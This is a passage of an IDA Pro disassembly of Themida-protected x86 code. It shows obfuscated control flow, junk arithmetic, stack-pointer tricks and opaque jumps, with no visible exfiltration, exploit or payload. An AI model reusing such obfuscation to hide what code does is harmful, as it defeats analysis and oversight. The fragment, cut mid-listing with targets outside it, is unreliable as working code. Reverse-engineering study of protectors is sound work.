; START	OF FUNCTION CHUNK FOR sub_595123


loc_58E175:				; CODE XREF: sub_595123-4A21j
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58E180:				; CODE XREF: Themida_:0058E8ABj
		shl	ch, 7
		jmp	loc_59738C
; ---------------------------------------------------------------------------
		push	704Dh
		mov	[esp], esi
		push	ecx
		mov	ecx, 21F215Ah
		mov	esi, 5D7DE8B6h
		add	esi, 290551DAh
		add	esi, ecx
		push	ecx
		mov	ecx, 290551DAh
		sub	esi, ecx
		pop	ecx
		pop	ecx
		shl	esi, 3
		jnz	loc_591E0B
		dec	esi
		jl	loc_58B632
		jmp	loc_58D0AE
; ---------------------------------------------------------------------------


loc_58E1C2:				; CODE XREF: Themida_:0058C642j
		add	esi, 4C940B83h
		jl	loc_591C0D
		add	esi, 0F2886CF2h
		push	esi
		push	edi
		mov	edi, 17022448h
		sub	[esp+4], edi
		jmp	loc_592E42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58E1E4:				; CODE XREF: sub_5938B9-70D1j
		push	edi
		jmp	loc_5905F9
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58E1EA:				; CODE XREF: sub_595E21-694Dj
		add	esp, 4
		and	eax, edi
		pop	edi
		shr	eax, 0Bh
		jmp	loc_59709B
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58E1FB:				; CODE XREF: Themida_:0059685Ej
		pop	ecx
		add	ecx, 4
		jmp	loc_5931B7
; ---------------------------------------------------------------------------
		lodsw
		jmp	loc_590ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58E20E:				; CODE XREF: sub_590467+7442j
		add	edx, 6F356822h
		add	edx, edi
		jmp	loc_59671A
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58E21B:				; CODE XREF: sub_58B4D6+B0C9j
		pop	ebp
		jmp	loc_597E05
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58E221:				; CODE XREF: sub_5916C4+4A54j
		sub	ebx, 0B55CAA96h
		jmp	loc_58C497
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58E22C:				; CODE XREF: sub_58F5B5+87AFj
		not	eax
		xchg	eax, ebp
		push	eax
		mov	eax, 7F114173h
		and	eax, 6C0D6D9Ah
		xor	eax, 0ACA7AF80h
		xor	ebp, eax
		pop	eax
		add	edi, ebp
		jmp	loc_58B6EF
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58E249:				; CODE XREF: Themida_:0058CAF2j
		pop	edx
		add	al, 19h
		sub	al, cl
		sub	al, 19h
		pop	cx
		sub	al, bl
		sub	esp, 4
		jmp	loc_5935B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E25F:				; CODE XREF: sub_5916CB+15DDj
		mov	edx, 3B017E4Bh
		sub	edx, 3542E84h
		jl	loc_58F57A
		dec	edx
		jnp	loc_58ACB6
		dec	edx
		jg	loc_59682E
		push	eax
		mov	eax, 5AD52A50h
		dec	eax
		jmp	loc_592FD6
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58E28A:				; CODE XREF: Themida_:0059292Ej
		sub	ebx, 13320A86h
		push	esi
		jmp	loc_5913C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_58E296:				; CODE XREF: sub_58F836+83AEj
		add	esp, 4
		sub	ebx, 2C7938CFh
		sub	ebx, 14A11A4Eh
		add	ebx, eax
		add	ebx, 14A11A4Eh
		add	ebx, 2C7938CFh
		pop	eax
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+4+var_4]
		pop	esp
		shr	ecx, 7
		push	6E6Bh
		mov	[esp+4+var_4], edx
		push	eax
		push	45F3h
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_58BA29
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------


loc_58E2DA:				; CODE XREF: Themida_:0058DA14j
		pop	edx
		jmp	loc_58AA30
; ---------------------------------------------------------------------------


loc_58E2E0:				; CODE XREF: Themida_:0058D63Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_59734A
; ---------------------------------------------------------------------------


loc_58E2F2:				; CODE XREF: Themida_:005964B3j
		sub	ecx, 0C40F97E5h
		or	eax, ecx
		pop	ecx
		jmp	loc_59274A
; ---------------------------------------------------------------------------


loc_58E300:				; CODE XREF: Themida_:005945DBj
		jmp	loc_58F385
; ---------------------------------------------------------------------------


loc_58E305:				; CODE XREF: Themida_:0058EE5Aj
		pop	esp
		mov	[esp], esi
		mov	esi, 4D782829h
		push	edx
		jmp	loc_5972DB
; ---------------------------------------------------------------------------


loc_58E314:				; CODE XREF: Themida_:005916FEj
		add	ebx, 0FC226EEDh
		sub	ecx, ebx
		jmp	loc_595B0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58E321:				; CODE XREF: sub_5938B9-5BCCj
		xor	ebx, edx
		pop	edx
		jmp	loc_597492
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58E329:				; CODE XREF: Themida_:0059542Cj
		push	ecx
		jmp	loc_594AC0
; ---------------------------------------------------------------------------


loc_58E32F:				; CODE XREF: Themida_:0058EB7Bj
		sub	eax, 24AF5079h
		push	edx
		push	20FFh
		jmp	loc_5940C6
; ---------------------------------------------------------------------------


loc_58E33F:				; CODE XREF: Themida_:0058FAACj
					; Themida_:00597806j
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		and	ebp, 3EB95DC3h
		push	ecx
		mov	ecx, 7F875FB0h
		and	ecx, 7E00084Ah
		and	ecx, 7974385Fh
		not	ecx
		not	ecx
		add	ecx, 8C1848FDh
		sub	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_58CF38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58E378:				; CODE XREF: sub_58F5B5-43E5j
		push	2242h
		mov	[esp+10h+var_10], esi
		mov	esi, 1D5649CEh
		push	ecx
		mov	ecx, 51436559h
		and	esi, ecx
		jmp	loc_58EE5F
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58E392:				; CODE XREF: Themida_:loc_58C6DBj
		dec	edi
		jge	loc_58DC7A
		inc	edi
		jz	loc_591B8F
		push	ebx
		jmp	loc_590592

; =============== S U B	R O U T	I N E =======================================



sub_58E3A6	proc near		; CODE XREF: sub_5951B9-2DAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058B1D5 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058CC4B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058FB66 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591984 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592B77 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596481 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00596CEF SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_58B1D5
sub_58E3A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58E3B4:				; CODE XREF: sub_5916C4:loc_58DFBDj
		shr	ebp, 5
		jz	loc_59232E
		neg	ebp
		jg	loc_595C0E
		jmp	loc_5933FD
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58E3CA:				; CODE XREF: Themida_:0058A9EEj
		pop	esi
		push	36F2h
		mov	[esp], edx
		mov	edx, 51BE574Ch
		jmp	loc_590C11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58E3DD:				; CODE XREF: sub_595258+1F5Fj
		mov	[esp+0Ch+var_C], esi
		jmp	loc_58BD59
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58E3E5:				; CODE XREF: sub_59524C+7j
		mov	edx, 1
		sub	ebx, edx
		pop	edx
		push	edx
		mov	edx, 1
		sub	ebx, edx
		jmp	loc_58DF06
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58E3FA:				; CODE XREF: Themida_:0058E7DAj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58BC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58E40C:				; CODE XREF: sub_58F5B5+81A8j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		xor	ecx, edx
		push	[esp+10h+var_10]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+14h+var_14]
		pop	esp
		and	eax, ecx
		push	[esp+10h+var_10]
		pop	ecx
		jmp	loc_58C762
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58E43D:				; CODE XREF: Themida_:0059436Cj
		mov	eax, 7BEE784Dh
		not	eax
		jmp	loc_596305
; ---------------------------------------------------------------------------


loc_58E449:				; CODE XREF: Themida_:00597DA1j
		push	si
		jmp	loc_58F385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58E450:				; CODE XREF: sub_59762D-6344j
		pop	ax
		add	dh, 6
		jmp	loc_58FB86
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58E45A:				; CODE XREF: Themida_:0058AA15j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_58D0AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58E47C:				; CODE XREF: sub_590467+5D5Fj
		sub	bh, 4Ch
		push	ecx
		mov	ch, 41h
		jmp	loc_58D5EE
; ---------------------------------------------------------------------------


loc_58E487:				; CODE XREF: sub_590467+5D4Fj
		sub	dh, 0E1h
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		jmp	loc_5927CD
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E495:				; CODE XREF: sub_58C17E+1524j
					; Themida_:0058D81Dj ...
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E49A:				; CODE XREF: Themida_:0058E723j
		pop	ebx
		xor	dl, 0D9h
		xor	ah, dl
		mov	edx, [esp]
		add	esp, 4
		xchg	cl, ah
		inc	cl
		xchg	cl, ah
		neg	ah
		push	edx
		mov	dl, 90h
		jmp	loc_58E691
; ---------------------------------------------------------------------------


loc_58E4B9:				; CODE XREF: Themida_:0058A589j
		mov	ebx, 58515173h
		neg	ebx
		add	ebx, 59737870h
		jo	loc_5968FA
		xor	ebx, 18BC5B2Fh
		jge	loc_58E02C
		shr	ebx, 5
		js	loc_5952AE
		mov	ecx, edx
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E4E3:				; CODE XREF: sub_5916CB+42EEj
		pop	esi
		push	edi
		pop	eax
		jmp	loc_5937A4
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58E4EB:				; CODE XREF: sub_5EC2E8-5E9D4j
		sub	edx, 8A95E43h
		add	ebx, edx
		pop	edx
		push	477Fh
		mov	[esp+24h+var_24], edx
		push	ecx
		mov	ecx, 1C92080Ah
		jmp	loc_58B085
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E507:				; CODE XREF: sub_58C17E+37FDj
		neg	ebx
		xor	ebx, 7154B0Bh
		jmp	loc_592682
; ---------------------------------------------------------------------------


loc_58E514:				; CODE XREF: sub_58C17E+B6F7j
		dec	ch
		jo	loc_58DB64
		or	ch, 9Dh
		jmp	loc_58DFD5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_58E524:				; CODE XREF: sub_5966C1-A4AFj
		pop	edx
		jmp	loc_5972A4
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	5330h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_58AD76
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	33Eh
		mov	[esp], esi
		push	ecx
		mov	ecx, 22B33367h
		xor	ecx, 646D6B55h
		jns	loc_5964CA
		xor	ecx, 1B19686Fh
		sub	al, 0D1h
		mov	cl, 66h


loc_58E576:				; CODE XREF: Themida_:00593021j
		pop	esp
		sub	esp, 4
		jmp	loc_5956F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58E57F:				; CODE XREF: sub_590010-2C59j
		add	edi, 4
		jmp	loc_597BF9
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58E58A:				; CODE XREF: Themida_:00596376j
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_58E9B1
; ---------------------------------------------------------------------------


loc_58E597:				; CODE XREF: Themida_:0058ECEEj
		pop	ecx
		not	ah
		push	edx
		jmp	loc_596E17
; ---------------------------------------------------------------------------


loc_58E5A0:				; CODE XREF: Themida_:loc_59271Cj
		xor	bl, 64h
		xchg	ah, bl
		xchg	dl, ah
		not	dl
		xchg	dl, ah
		xchg	ah, bl
		shr	bl, 2
		sub	esp, 4
		mov	[esp], eax
		push	542h
		jmp	loc_58C141
; ---------------------------------------------------------------------------


loc_58E5C0:				; CODE XREF: Themida_:005926FBj
		pop	ebx
		jmp	loc_58DB89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E5C6:				; CODE XREF: sub_5916CB+6685j
		mov	ecx, 36555BE8h
		shl	ecx, 4
		not	ecx
		dec	ecx
		sub	ecx, 0C822DF25h
		add	ebp, ecx
		pop	ecx
		sub	esi, ebp
		pop	ebp
		push	1C5Bh
		jmp	loc_5952AE
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58E5E7:				; CODE XREF: Themida_:00595E87j
		and	ebx, edi
		jmp	loc_594262
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E5EE:				; CODE XREF: sub_58C17E+BE9Cj
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58B878
; ---------------------------------------------------------------------------


loc_58E5FA:				; CODE XREF: sub_595BDA-7CFCj
					; sub_58C17E:loc_596F17j
		push	edx
		mov	dl, 0D7h
		add	bl, dl
		pop	edx
		add	bl, 0E8h
		jmp	loc_597864
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E608:				; CODE XREF: Themida_:0058AA69j
		jle	loc_596579
		jmp	loc_58F10B
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58E61A:				; CODE XREF: sub_595123-66D0j
		add	esp, 4
		push	edi
		mov	edi, 4E72D2Ah
		add	edi, 7E20127Eh
		jnz	loc_58E0CB
		or	edi, 54A513FBh
		push	edx
		mov	edx, 7E6AFFACh
		add	edi, edx


loc_58E63D:				; CODE XREF: Themida_:00595ACAj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		jmp	loc_590701
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_58E652:				; CODE XREF: sub_58D236-B60j
		pop	[esp-4+arg_0]
		jmp	loc_58A79E
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3C1B42h
		add	eax, 114F5E65h
		xor	eax, 118B79A3h
		add	edx, eax
		mov	eax, [esp]
		push	eax
		jmp	loc_5932AD
; ---------------------------------------------------------------------------


loc_58E691:				; CODE XREF: Themida_:0058E4B4j
		neg	dl
		and	dl, 30h
		xor	dl, 47h
		jmp	loc_595C56
; ---------------------------------------------------------------------------


loc_58E69E:				; CODE XREF: Themida_:00597FF9j
		pop	esi
		push	4282h
		jmp	loc_590436
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58E6A9:				; CODE XREF: sub_59762D-1168j
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+0]
		pop	esp
		mov	word ptr [esp-8+arg_4],	ax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58E6B9:				; CODE XREF: sub_592D25:loc_58FE60j
					; sub_5EC2E8-5BC65j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+28h+var_28]
		pop	esp
		jmp	loc_593CF4
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E6D0:				; CODE XREF: sub_5916CB-2557j
		pop	ebp
		jmp	loc_58E9E9
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58E6D6:				; CODE XREF: sub_590010+169Aj
					; Themida_:00595171j
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		jmp	loc_58ED5C
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58E6F8:				; CODE XREF: sub_5938B9-ED2j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58B6E1
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_58EB64
; ---------------------------------------------------------------------------


loc_58E70E:				; CODE XREF: Themida_:00595DC4j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_5955B6
; ---------------------------------------------------------------------------


loc_58E71E:				; CODE XREF: Themida_:0058E12Dj
		xor	bh, 7Ch
		add	dl, bh
		jmp	loc_58E49A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58E728:				; CODE XREF: sub_590010+4FDj
		push	esi
		jmp	loc_58DD99
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58E72E:				; CODE XREF: sub_592D25+3D8j
		xchg	eax, ecx
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	[esp+14h+var_10]
		mov	edx, [esp+0]
		add	esp, 4
		pop	dword ptr [esp+0]
		push	edx
		jmp	loc_5936EB
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------

locret_58E754:				; CODE XREF: Themida_:005943E6j
					; Themida_:005946BAj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58FA27
; ---------------------------------------------------------------------------


loc_58E75A:				; CODE XREF: Themida_:00590852j
		push	edx
		mov	dh, 0C3h
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 8
		xor	dh, bh
		jmp	loc_58C90D
; ---------------------------------------------------------------------------


loc_58E76D:				; CODE XREF: Themida_:loc_58F9AEj
		shr	edi, 6
		sub	edi, 71E80F89h
		jmp	loc_597467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58E77B:				; CODE XREF: sub_590467-A63j
		pop	esp
		xor	ebx, eax
		push	small 161Fh
		jmp	loc_58B75A
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58E787:				; CODE XREF: Themida_:0059006Dj
		mov	[esp], eax
		jmp	loc_597305
; ---------------------------------------------------------------------------


loc_58E78F:				; CODE XREF: Themida_:0059453Dj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58E794:				; CODE XREF: sub_5919E2-466Aj
		xor	ecx, 9FD30FFAh
		push	edx
		push	ecx
		jmp	loc_590373
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
		push	27EDh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_59104A
; ---------------------------------------------------------------------------


loc_58E7B6:				; CODE XREF: Themida_:00596233j
		push	esi
		jmp	loc_58AD8B
; ---------------------------------------------------------------------------


loc_58E7BC:				; CODE XREF: Themida_:00591501j
		pop	esp
		jmp	loc_597EB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E7C2:				; CODE XREF: sub_58C17E+707Ej
		not	eax
		shr	eax, 8
		jmp	loc_58BF2C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E7CC:				; CODE XREF: Themida_:00591EEEj
		add	esp, 4
		jmp	loc_58F06C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58E3FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58E7DF:				; CODE XREF: sub_58C17E+90C9j
		add	esp, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_591F34
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_592731
; ---------------------------------------------------------------------------


loc_58E7F9:				; CODE XREF: Themida_:0058AD10j
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58E805:				; CODE XREF: Themida_:0058A8A5j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58E80A:				; CODE XREF: sub_592D25-970j
		inc	ebx
		jmp	loc_58FE60
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_58E810:				; CODE XREF: Themida_:0058F346j
		pop	ebx
		add	al, bh
		push	ecx
		mov	cl, 0C9h
		not	cl
		add	cl, 1Eh
		jmp	loc_59705B
; ---------------------------------------------------------------------------


loc_58E820:				; CODE XREF: Themida_:0058ECBBj
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_594DE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58E833:				; CODE XREF: sub_595E21-57FAj
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_595E21
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58E839:				; CODE XREF: sub_59524C+281Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		xor	[esp+4+var_4], 7725249Dh
		pop	eax
		jmp	loc_58E923
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58E859:				; CODE XREF: sub_5916C4+42CEj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp-4+arg_0]
		jmp	loc_58B3BD
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58E86A:				; CODE XREF: Themida_:0059450Bj
		sub	ebx, 296387ABh
		jmp	loc_593D4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58E875:				; CODE XREF: sub_5916C4-6D0Dj
		add	edx, eax
		push	5984h
		mov	[esp+0], ecx
		mov	ecx, 640740BFh
		sub	edx, ecx
		jmp	loc_5915CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58E88B:				; CODE XREF: sub_5938B9+229Ej
		xor	ebx, edi
		pop	edi
		jmp	loc_58BD0B
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E893:				; CODE XREF: sub_5916CB-23D7j
		push	[esp+8+var_8]
		pop	edx
		push	24D0h
		mov	[esp+0Ch+var_C], esi
		push	esp
		jmp	loc_59147B
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59590E


loc_58E8A5:				; CODE XREF: sub_59590E-7927j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_59590E
; ---------------------------------------------------------------------------


loc_58E8AA:				; CODE XREF: Themida_:00593B80j
		pop	eax
		jmp	loc_58E180
; ---------------------------------------------------------------------------


loc_58E8B0:				; CODE XREF: Themida_:0058CABDj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_58C5CC
; ---------------------------------------------------------------------------


loc_58E8BC:				; CODE XREF: Themida_:00597BC8j
		mov	ecx, 0
		sub	ecx, edx
		xchg	ecx, edx
		pop	ecx
		not	edx
		xchg	ebp, edx
		neg	ebp
		xchg	ebp, edx
		push	eax
		mov	eax, 648D143Fh
		or	eax, 75F5D4Ch
		xor	eax, 4F240D41h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, 6AC9678Fh
		jmp	loc_58D31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58E8F1:				; CODE XREF: sub_58B4D6+8498j
		sub	eax, ebx
		jmp	loc_58C5BE
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	7757h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5919F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58E923:				; CODE XREF: sub_59524C-69F8j
		push	edi
		jmp	loc_594C30
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58E929:				; CODE XREF: sub_595E21+26j
		pop	edi
		push	ebp
		push	edx
		jmp	loc_594812
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58E931:				; CODE XREF: Themida_:0058AE97j
		push	edi
		push	esi
		mov	esi, 320B7EC5h
		sub	esi, 1DF352D6h
		jmp	loc_58CD3E
; ---------------------------------------------------------------------------


loc_58E943:				; CODE XREF: Themida_:00597711j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58D43F

; =============== S U B	R O U T	I N E =======================================



sub_58E980	proc near		; CODE XREF: sub_58F5B5-1ED2j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058DDBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058EAFB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593261 SIZE 00000012 BYTES

		push	ebp
		jmp	loc_58EAFB
sub_58E980	endp

; ---------------------------------------------------------------------------


loc_58E986:				; CODE XREF: Themida_:00596C21j
		mov	[esp], eax
		push	ecx
		mov	ch, 95h
		mov	al, ch
		jmp	loc_58BF18
; ---------------------------------------------------------------------------


loc_58E993:				; CODE XREF: Themida_:loc_58FED9j
		jmp	loc_593598
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


